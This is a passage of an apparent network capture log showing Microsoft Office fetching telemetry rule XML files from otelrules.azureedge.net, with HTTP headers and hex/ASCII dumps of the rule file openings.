2024-12-02 03:59:24 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:24 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:24 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 5bb85073-401e-005b-22cf-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035924Z-174f7845968glpgnhC1EWR7uec000000144g000000002amt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:24 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:25 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:26 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035926Z-174f7845968kvnqxhC1EWRmf3g0000000qng00000000fckv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:26 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:25 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:26 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035926Z-174f78459688l8rvhC1EWRtzr00000000gm000000000109v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:26 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:25 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:26 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 2eabf22f-f01e-005d-68dc-4313ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035926Z-174f7845968px8v7hC1EWR08ng000000141g00000000nwa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:26 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:26 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:26 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 6c097c63-301e-0000-5ac7-43eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035926Z-174f7845968ljs8phC1EWRe6en00000013qg00000000dtpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:26 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:26 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:26 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: e61fb942-301e-000c-78b4-43323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035926Z-174f7845968cdxdrhC1EWRg0en00000013t000000000gn0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:27 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:28 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:28 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 73839456-501e-000a-0a63-430180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035928Z-174f7845968psccphC1EWRuz9s000000142000000000hm9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:28 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:28 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:28 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 179ef32c-501e-0016-1fc5-43181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035928Z-174f7845968ljs8phC1EWRe6en00000013s00000000092gv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:28 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:28 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:28 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035928Z-174f7845968xr5c2hC1EWRd0hn0000000np000000000kdd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:28 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:28 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:28 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 44636861-901e-0083-5170-43bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035928Z-174f7845968zgtf6hC1EWRqd8s0000000wr000000000nwg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:29 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:28 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:29 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 14abde1b-801e-0047-6aab-437265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035929Z-174f7845968frfdmhC1EWRxxbw00000013xg00000000b1p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:29 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:30 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
